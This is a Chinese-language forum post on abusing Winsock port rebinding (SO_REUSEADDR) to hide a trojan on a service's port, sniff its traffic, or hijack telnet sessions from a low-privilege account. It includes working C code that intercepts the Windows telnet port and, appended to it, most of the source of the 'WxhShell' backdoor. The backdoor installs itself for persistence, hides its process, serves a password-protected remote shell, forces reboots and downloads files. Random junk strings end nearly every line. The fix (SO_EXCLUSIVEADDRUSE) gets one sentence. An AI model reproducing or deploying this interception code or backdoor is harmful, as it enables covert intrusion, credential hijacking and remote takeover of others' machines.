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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: !2h ZtX  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #q 4uS~  
@VPmr}p:{  
  saddr.sin_family = AF_INET;  TJ1h[  
+Qf}&D_  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); h+ud[atk.  
stUUez>  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `/^ _W <  
mRa\ wEg%  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 5vg="@O K  
c]zFZJ6M  
  这意味着什么?意味着可以进行如下的攻击: hD=.rDvO  
v2_` iwE  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 <v'&Pk<  
UWidT+'Sa  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) '%82pZ,?  
rtfRA<  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 g(Q1d-L4e  
&gPP# D6A  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  hGkJ$QT  
u~aRFQ:  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 GbclR:G  
^ H&U_  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &7oL2 Wf  
*mVg_Kl  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 UKQ"sC  
mf)+ 5On  
  #include [iEz?1.,  
  #include eIfQ TV  
  #include 4e Y?#8  
  #include    J|].h  
  DWORD WINAPI ClientThread(LPVOID lpParam);   -sfv"?  
  int main() n{i,`oQ"  
  { ^:]$m;v]  
  WORD wVersionRequested; t:5-Ro  
  DWORD ret; (v%24bv  
  WSADATA wsaData;  -X71JU  
  BOOL val; KVJ, a  
  SOCKADDR_IN saddr; C!a1.&HHZ7  
  SOCKADDR_IN scaddr; 0=#>w_B  
  int err; RGE(#   
  SOCKET s; UhpJGO  
  SOCKET sc; C!*.jvhT  
  int caddsize; dw3Hk$"h  
  HANDLE mt; uTxa5j  
  DWORD tid;   8v4 o+w P  
  wVersionRequested = MAKEWORD( 2, 2 ); c&!mKMrk  
  err = WSAStartup( wVersionRequested, &wsaData ); z.!N|"4yr  
  if ( err != 0 ) { ^w.hI5ua)  
  printf("error!WSAStartup failed!\n"); {PcJuRTHB  
  return -1; . \"k49M`  
  } %)x9u$4W2  
  saddr.sin_family = AF_INET; Z0jgUq`r  
   :Iv;%a0 -  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 :q]9F4im  
(Z SaAn),  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); YR9fw  
  saddr.sin_port = htons(23); 2t-w0~O  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) OegeZV  
  { /.Ak'Vmi  
  printf("error!socket failed!\n"); )ODF6Ag  
  return -1; 15\m.Ix  
  } [d6!  
  val = TRUE; "y,YC M`  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 TZAd{EZa  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Sw\*$g]  
  { 2gPqB*H  
  printf("error!setsockopt failed!\n"); s9;6&{@%wO  
  return -1; QEhn  
  } z%%O-1   
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; " B#|C'   
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 @1JwjtNk  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 LH8jT  
l@4_D;b3o"  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) :$MOdLr  
  { mll :rWC)  
  ret=GetLastError(); <Kd(fFe  
  printf("error!bind failed!\n"); =_7wd*,  
  return -1; QPJ \Iu@D$  
  } /o9T [ ^\  
  listen(s,2); .$qa?$@  
  while(1) <(L@@.87R  
  { h:YD $XE  
  caddsize = sizeof(scaddr); G*fo9eu5$  
  //接受连接请求 QJGGce  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 5Q?Jm~H9  
  if(sc!=INVALID_SOCKET) }}AIpYp,P  
  { <'a~Y3B"o  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); U(#<D7}  
  if(mt==NULL) I0Pw~Jj{  
  { 6#?T?!vZ  
  printf("Thread Creat Failed!\n"); 94u{k1d x  
  break; t'eqk#rq  
  } B0fOAP1  
  } ]pax,| +$C  
  CloseHandle(mt); ze+YQ F  
  } ?"6Zf LRi  
  closesocket(s); uJ !&T  
  WSACleanup(); 2ym(fk.6{  
  return 0; N:1aDr;  
  }   -8TJ:#|N  
  DWORD WINAPI ClientThread(LPVOID lpParam) .DCHc,DxA  
  { Z'z)Oo  
  SOCKET ss = (SOCKET)lpParam; /{i~CGc ;"  
  SOCKET sc; h0GoF A<  
  unsigned char buf[4096]; AM}R#86  
  SOCKADDR_IN saddr; <n2@;` D  
  long num; u6qK4*eAD  
  DWORD val; e7vm3<m4  
  DWORD ret; )pB#7aEw  
  //如果是隐藏端口应用的话,可以在此处加一些判断 *]6g-E?:@  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   L:R4&|E/t  
  saddr.sin_family = AF_INET; ^9g$/8[^c_  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); n ~t{]if"  
  saddr.sin_port = htons(23); :RaQ =C  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) t&r.Kf9Z\  
  { Y[ G_OoU  
  printf("error!socket failed!\n"); 'solCAy  
  return -1; CWj_K2=d  
  } |.<_$[v[x  
  val = 100; KII{GDR]  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) DiCz%'N  
  { H|9t5   
  ret = GetLastError(); 7#V7D6j1  
  return -1; U( YAI%O  
  } #EzBB*kP  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) x.SfB[SZ  
  { Kkvc Zs'4m  
  ret = GetLastError(); F'bwXb**  
  return -1; =7Ln&tZ  
  } =u.@W98, K  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) u?osX;'w  
  { g}an 5a  
  printf("error!socket connect failed!\n"); rTPgHK]?l  
  closesocket(sc); W5*ldXXk  
  closesocket(ss); BI'>\hX/V  
  return -1; "TZq")-  
  } |23F@s1  
  while(1) 87 Z[0>  
  { ER0 Yl  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 %I1@{>OxG  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 m%'nk"p9  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 #M,&g{  
  num = recv(ss,buf,4096,0); Y },E3<  
  if(num>0) HJL! ;i  
  send(sc,buf,num,0); 2d)Dhxzxk  
  else if(num==0) d&AG~,&d|  
  break; E^F"$Z" N  
  num = recv(sc,buf,4096,0); ZU4=&K  
  if(num>0) /{T&l*'  
  send(ss,buf,num,0); Gh;\"Qx  
  else if(num==0) coP->&(@U#  
  break; L9b.D<  
  } |v&)O)Jg  
  closesocket(ss); u mYsO.8  
  closesocket(sc); ``MO5${  
  return 0 ; >m%_`68  
  } |9* Rnm_  
#bOv}1,s  
c%&,(NJ]K  
========================================================== i~@gI5[k+  
Y}~sTuWU  
下边附上一个代码,,WXhSHELL l6M?[  
7B?Y.B  
========================================================== wNB?3v{n  
w$]G$e  
#include "stdafx.h" .N(R~_  
[2:d@=%.  
#include <stdio.h> ysaRH3M  
#include <string.h> |J $A%27  
#include <windows.h> 6pt,]FlU  
#include <winsock2.h> vNO&0~  
#include <winsvc.h> Z{8%Cln  
#include <urlmon.h> >6es 5}  
~OD6K`s3  
#pragma comment (lib, "Ws2_32.lib") xP8/1wd.  
#pragma comment (lib, "urlmon.lib") mnt&!X4<  
hY)zKX_r  
#define MAX_USER   100 // 最大客户端连接数 ,&[o:jTk  
#define BUF_SOCK   200 // sock buffer ib,`0=0= O  
#define KEY_BUFF   255 // 输入 buffer 757&bH|a  
s_^`t+5  
#define REBOOT     0   // 重启 KOixFn1  
#define SHUTDOWN   1   // 关机 =?]`Xo,v~  
{O+T`; =)L  
#define DEF_PORT   5000 // 监听端口 FPc `J  
=!Ik5LiD  
#define REG_LEN     16   // 注册表键长度 G^'We6<  
#define SVC_LEN     80   // NT服务名长度 xQR/Xp!h  
Dj/Hz\  
// 从dll定义API V_i&@<J  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &r,vD,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h;=~%2Y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xM())Z|2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7mtx^  
%_ew{ff|  
// wxhshell配置信息  Wvb ~j  
struct WSCFG { |s /)lA:9  
  int ws_port;         // 监听端口 /#9P0@Y  
  char ws_passstr[REG_LEN]; // 口令 F=\ REq  
  int ws_autoins;       // 安装标记, 1=yes 0=no .7.G}z1  
  char ws_regname[REG_LEN]; // 注册表键名 y[J9"k(@  
  char ws_svcname[REG_LEN]; // 服务名 p39$V[*g(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 S @[]znH  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Y`g O:d8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =8_b&4.:&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no P`rfDQoZ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" IlJ"t`Z9)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 VjM/'V5  
=1Plu5  
}; 2K4Xu9-i:b  
5,xPB5pK  
// default Wxhshell configuration wn"\ @QvG  
struct WSCFG wscfg={DEF_PORT, CUDA<Fm  
    "xuhuanlingzhe", qt:B]#j@  
    1, BMq> Cj+  
    "Wxhshell", ",apO  
    "Wxhshell", 0Hrvr  
            "WxhShell Service", N_G&nw  
    "Wrsky Windows CmdShell Service", "= 2\kZ  
    "Please Input Your Password: ", 1<:5b%^c  
  1, JbEEI(Q>g  
  "http://www.wrsky.com/wxhshell.exe", k8G4CFg}wP  
  "Wxhshell.exe" PU%Zay  
    }; :E{)yT  
+:Xg7H*  
// 消息定义模块 lP=,|xFra  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;nlJ D#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &$ }6:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; e!=7VEB  
char *msg_ws_ext="\n\rExit."; \[!{tbK`2  
char *msg_ws_end="\n\rQuit."; AK lr a$  
char *msg_ws_boot="\n\rReboot..."; 75>%!mhM  
char *msg_ws_poff="\n\rShutdown..."; qo:Zc`t(R  
char *msg_ws_down="\n\rSave to "; vEjf|-Mb9  
3 85qQppz  
char *msg_ws_err="\n\rErr!"; [#wt3<d`)  
char *msg_ws_ok="\n\rOK!"; 9t`yv@.>N  
NXLb'mH~  
char ExeFile[MAX_PATH]; <|'ETqP<+  
int nUser = 0; Sj)?!  
HANDLE handles[MAX_USER]; ?i_2ueVR  
int OsIsNt; f2tCB1[D+  
1/bTwzR.g  
SERVICE_STATUS       serviceStatus; ` *hTx|!'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +dCR$<e9r  
"cS7E5-|  
// 函数声明 Li8/GoJW-T  
int Install(void); Tb^1#O  
int Uninstall(void); F)=<|,b1  
int DownloadFile(char *sURL, SOCKET wsh); EWl9rF@I  
int Boot(int flag); 5T"h7^}e  
void HideProc(void); O*2{V]Y @  
int GetOsVer(void); c.Izm+9k  
int Wxhshell(SOCKET wsl); I+Y Z+  
void TalkWithClient(void *cs); oGXcu?ft  
int CmdShell(SOCKET sock); )4o k@^.  
int StartFromService(void); ]}S9KP  
int StartWxhshell(LPSTR lpCmdLine); Z3<lJk\Y  
+pUYFDwFx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @6[aLF]F  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); dtQ3iuV %  
l"&iSq!3=  
// 数据结构和表定义 79Aa~+i'_  
SERVICE_TABLE_ENTRY DispatchTable[] = 'mv|6Y  
{ SXXO#  
{wscfg.ws_svcname, NTServiceMain}, V1i^#;  
{NULL, NULL} eMOp}.zt|  
}; %YuFw|wO  
J,h'eY5  
// 自我安装 3nq4Y'  
int Install(void) AgDXpaq  
{ svC m }`  
  char svExeFile[MAX_PATH]; aTaL|&(  
  HKEY key; 5n::]Q%=D  
  strcpy(svExeFile,ExeFile); pm}_\_  
W9GjUswv!  
// 如果是win9x系统,修改注册表设为自启动 ZSwhI@|  
if(!OsIsNt) { %@I= $8j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !}d_$U$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !( _qM  
  RegCloseKey(key); .L)j ql%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U d+6=Us{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vQ5rhRG)E  
  RegCloseKey(key); Z'wGZ(  
  return 0; 8P%Jky&(  
    } n2opy8J#!  
  } Mf9x=K9  
} %zjyZ{=  
else { Q2gz\N  
On;7  
// 如果是NT以上系统,安装为系统服务 OQ3IkE`G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ) Cm95,Y  
if (schSCManager!=0) BS?rKtdm(  
{ m.yt?`  
  SC_HANDLE schService = CreateService C9%A?'`  
  ( aqP"Y9l  
  schSCManager, dY?>:ce  
  wscfg.ws_svcname, YQ-V^e6  
  wscfg.ws_svcdisp, Jb!s#g  
  SERVICE_ALL_ACCESS, wem hP8!gc  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , K &G  
  SERVICE_AUTO_START, _10I0Z0  
  SERVICE_ERROR_NORMAL, \uOR1z  
  svExeFile, \`?4PQ  
  NULL, 0fw>/"v  
  NULL, kI^Pu  
  NULL, xQs._YY  
  NULL, WQNFHRfO*n  
  NULL 0w".o!2\U{  
  ); ~T\:".C  
  if (schService!=0) qc/)l~]?g{  
  { ^B'N\[  
  CloseServiceHandle(schService); WHR6/H  
  CloseServiceHandle(schSCManager); .#Lu/w' -M  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Wl{}>F`W[  
  strcat(svExeFile,wscfg.ws_svcname); Gr|102  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %xwtG:IKEV  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); NvJ}|w,Z  
  RegCloseKey(key); <)$JA  
  return 0; O<+x=>_  
    } o+T, O+i  
  } 7eyx cr;z  
  CloseServiceHandle(schSCManager); 'dd[= vzK  
} ~ ll+/w\4  
} ;TCT%j`^o  
Nk$OTDwP  
return 1; &BRi& &f  
} wGx*Xy1n<  
g:[yA{Eh  
// 自我卸载 ]= 9^wS  
int Uninstall(void) ()EiBl(kWk  
{ fTV3lyk  
  HKEY key; X/<Q3AK  
X[$FjKZh=F  
if(!OsIsNt) { lm(k[]@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1y6{3AZm<  
  RegDeleteValue(key,wscfg.ws_regname); LX;" Mz>  
  RegCloseKey(key); -<@QR8:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -e_L2<7  
  RegDeleteValue(key,wscfg.ws_regname); ck#MpQ!An  
  RegCloseKey(key); JX2@i8[~  
  return 0; cDLjjK7:   
  } f VpE&F  
} @x/D8HK2  
} ,&rHBNS  
else { +{H0$4y  
bLyaJ%pa\/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); f]]UNS$AYQ  
if (schSCManager!=0) </) HcRj'e  
{ y[I)hSD=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pcO0xrI  
  if (schService!=0) nY50dFA,  
  { 4Y4QR[>IU3  
  if(DeleteService(schService)!=0) { #@K %Mx  
  CloseServiceHandle(schService); ^z}$ '<D9  
  CloseServiceHandle(schSCManager); ;wj8:9 ;  
  return 0; ^mCKRWOP'  
  } )XoIb[s"  
  CloseServiceHandle(schService); MXGz_Db4'  
  } hScC< =W  
  CloseServiceHandle(schSCManager); #^eXnhj9  
} }J|Pd3Q Sf  
}  nypG  
f,'9Bj. ~  
return 1; 31k2X81;a  
} YuKg|<WO  
%<[U\TL`  
// 从指定url下载文件 S_dM{.!Z(,  
int DownloadFile(char *sURL, SOCKET wsh) Z<@dM2b)  
{ vZ/Bzy@|  
  HRESULT hr; ZBl!7_[_  
char seps[]= "/"; oeIza<:=R  
char *token; GR>kxYM%q  
char *file; (bo-JOOdY(  
char myURL[MAX_PATH]; ;FO( mL(  
char myFILE[MAX_PATH];  mPS27z(  
,RIC _26  
strcpy(myURL,sURL); \9`76*X6 c  
  token=strtok(myURL,seps); ^QTtCt^:  
  while(token!=NULL)  Va3/#is'  
  { .p$tb2%r  
    file=token; x4%1P w  
  token=strtok(NULL,seps); ?Oyps7hXx  
  } M sQ>eSk  
~3,k8C"pRq  
GetCurrentDirectory(MAX_PATH,myFILE); $Z[W}7{pt#  
strcat(myFILE, "\\"); m%)Cw)t 7  
strcat(myFILE, file); =&"x6F.`  
  send(wsh,myFILE,strlen(myFILE),0); t) 4AQ  
send(wsh,"...",3,0); =dDr:Y<@*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); zyPc<\HoK  
  if(hr==S_OK) \zM3{{mV/  
return 0; 8c^Hfjr0  
else ?3Y~q;I]O  
return 1; s{ dgUX  
> xie+ ^  
} 1yV+~)by3  
bK#SxV  
// 系统电源模块 xnvG5  
int Boot(int flag) "'v^X!"  
{ SBh"^q  
  HANDLE hToken; 4I!g?Moh  
  TOKEN_PRIVILEGES tkp; KuJNKuHa.  
 /wT<p  
  if(OsIsNt) { pi;'!d[l%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); r2G38/K  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); pX?/=T@ Bw  
    tkp.PrivilegeCount = 1; %:e.ES  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5N(OW:M  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ci_Qra 6  
if(flag==REBOOT) { ae0t *;~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) P^[y~I#{  
  return 0; pj#ls  
} ]8/g[Ii  
else { j06qr\Es  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) TX).*%f [r  
  return 0; kJK*wq]U6  
} /I &wh  
  } @UQ421Z`  
  else { ve^gzE$<I  
if(flag==REBOOT) { ],s{%a5wC  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) t W}"PKv  
  return 0; C`qE ,2.  
} K$I`&M(  
else { JA~q}C7A7o  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6{!Cx9V  
  return 0; $:RR1.Tv  
} M;9s  
} Zm*qV!  
j]C}S*`"  
return 1; 9DdR"r'7  
} NG_7jZzXA9  
 ZvwU  
// win9x进程隐藏模块 Cy dV$!&mP  
void HideProc(void) `BVXF#sb  
{ jN-!1O._G  
+U)4V}S)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 28qlp>U  
  if ( hKernel != NULL )  :!Nx'F9a  
  { [kf6bf@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0Wj,=9q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !e:_$$j  
    FreeLibrary(hKernel); 6MNrH  
  } z69u@  
 &Ufp8[  
return; sI.p( -K Q  
} C1>zwU_zo  
&\%\"Zh  
// 获取操作系统版本 jZD)c_'U  
int GetOsVer(void) (&Rql7](8  
{ ] n\]ao  
  OSVERSIONINFO winfo; udXzsY9Ng  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); hpgOsF9Lh  
  GetVersionEx(&winfo); T%Bz>K  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) z'*"iaX<c  
  return 1; D5!#c-Y-  
  else (%OZ `?`  
  return 0; #0PZa$kM(o  
} wJD'q\n  
)|_L?q#w!'  
// 客户端句柄模块 mFeR~Bi>!  
int Wxhshell(SOCKET wsl) Wm}gnNwA  
{ Zl>dBc%  
  SOCKET wsh; ltlo$`PR  
  struct sockaddr_in client; F]t=5 -O<  
  DWORD myID; s/B_  
s/.P/g%tA>  
  while(nUser<MAX_USER) &Q#*Nnb3  
{ &>B"/z  
  int nSize=sizeof(client); z(>QGzyc  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ANNVE},  
  if(wsh==INVALID_SOCKET) return 1; vw4b@v-XQ3  
=H3tkMoi2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |}.}q  
if(handles[nUser]==0) :Nv7Wt!  
  closesocket(wsh); CBoCT3@~  
else Ctn 4q'Q  
  nUser++; T9XUNR{&  
  } \A,zwdt P  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {z\K!=X/  
_6V1oe2  
  return 0; }i,r{Y]s]  
} !n` |k  
$dXx@6fP  
// 关闭 socket L~^5Ez6U  
void CloseIt(SOCKET wsh) xQ7U$QF|]  
{ IRwtM'%0  
closesocket(wsh); awwSgy  
nUser--; ;-XfbqZ\  
ExitThread(0); jw9v&/-  
} EEnl'  
K, I  
// 客户端请求句柄 g&85L$   
void TalkWithClient(void *cs) `CH,QT7e  
{ 3F@P$4!#l  
M;,$ )>P  
  SOCKET wsh=(SOCKET)cs; as|w} $  
  char pwd[SVC_LEN]; gFKJbjT|  
  char cmd[KEY_BUFF]; `d$@1  
char chr[1]; ~!5=o{wy  
int i,j; !& >`  
^a_a%ws  
  while (nUser < MAX_USER) { : S3+UT  
y/c3x*l.xL  
if(wscfg.ws_passstr) { J (?qk  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uBa<5YDF  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )?UoF&c/  
  //ZeroMemory(pwd,KEY_BUFF); DegbjqZ#  
      i=0; nAEyL+6U  
  while(i<SVC_LEN) { V(F9=r<X  
QJRnpN/  
  // 设置超时 ,`Y$}"M4  
  fd_set FdRead; j}eb _K+I  
  struct timeval TimeOut; w+R7NFq  
  FD_ZERO(&FdRead); +q '1P}e  
  FD_SET(wsh,&FdRead); 5EcVW|(  
  TimeOut.tv_sec=8; !43 !JfD  
  TimeOut.tv_usec=0; ZQ_6I}i")  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1wKXOy=v0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); dY S(}U  
8ROKfPj;z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 32<D9_  
  pwd=chr[0]; hj9TiH/+  
  if(chr[0]==0xd || chr[0]==0xa) { =+Fb\HvX{  
  pwd=0; )6C+0b*  
  break; z{ :;Rb  
  } 3TF_$bd{  
  i++; d"9tP& Q  
    } w3(|A> s3  
DFK@/.V  
  // 如果是非法用户,关闭 socket fx5S2%f^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); p8~lGuH  
} }q.D)'g_  
phuiLW{&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )}`z<)3jP  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /{i~-DVME  
!H\o Qv-I  
while(1) { <|}Z6Ti  
v'@gUgC  
  ZeroMemory(cmd,KEY_BUFF); Nh.+woFq4  
WMf / S"=  
      // 自动支持客户端 telnet标准   cERIj0~  
  j=0; G<$:[ +w  
  while(j<KEY_BUFF) { q!z"YpYB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z4:!*:.Asu  
  cmd[j]=chr[0]; Xfq`k/ W  
  if(chr[0]==0xa || chr[0]==0xd) { lPR=C0h}@  
  cmd[j]=0; kg7F8($  
  break; V#7,vas  
  } L1SKOM$  
  j++; &)1.z7T  
    } :W*yfhLt  
^Spu/55_  
  // 下载文件 s|Mo3_>  
  if(strstr(cmd,"http://")) { [gmov)\c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); h+Co:pr  
  if(DownloadFile(cmd,wsh)) (u@:PiU/eP  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); XjGS.&'I  
  else +; KUL6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VhUWws3E  
  }  ##rkyd  
  else { *4U_MM#rX  
<a6pjx>y  
    switch(cmd[0]) { ]].~/kC^3k  
  >a?Bk4w  
  // 帮助 ~XTC:6ts  
  case '?': { ,eyh%k*hz  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); BIWe Hx  
    break; {v|!];i  
  } Jl~ *@0(  
  // 安装 TJ"-cWpO1  
  case 'i': { 6m:$mhA5  
    if(Install()) tAAMSb9[d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ..)J6L5l  
    else z\]Z/Bz:6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V"YeF:I  
    break; {=Zy;Er  
    } w|9 >4  
  // 卸载 L kK *.  
  case 'r': { qbv\uYow3k  
    if(Uninstall()) YRu@; `  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LiG$M{0  
    else |R}=HsYey  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a^ %iAe  
    break; Tv=lr6t8  
    } Cyg2o<O@  
  // 显示 wxhshell 所在路径 <\&9Odqc  
  case 'p': { _,J+b R+b  
    char svExeFile[MAX_PATH]; YYe G9yR  
    strcpy(svExeFile,"\n\r"); Hl$W+e|tj  
      strcat(svExeFile,ExeFile); bk0>f   
        send(wsh,svExeFile,strlen(svExeFile),0); N:lfKI  
    break; h:aa^a~y i  
    } E4 X6f  
  // 重启 2aYBcPFQh#  
  case 'b': { F/oqYk9`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .t "VsY|  
    if(Boot(REBOOT)) yvd)pH<a2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K[z)ts-  
    else { 981-[ga `Y  
    closesocket(wsh); w(oK   
    ExitThread(0); =~1EpZ  
    } /WN YS  
    break; j, 0`k  
    } gm9*z.S\'  
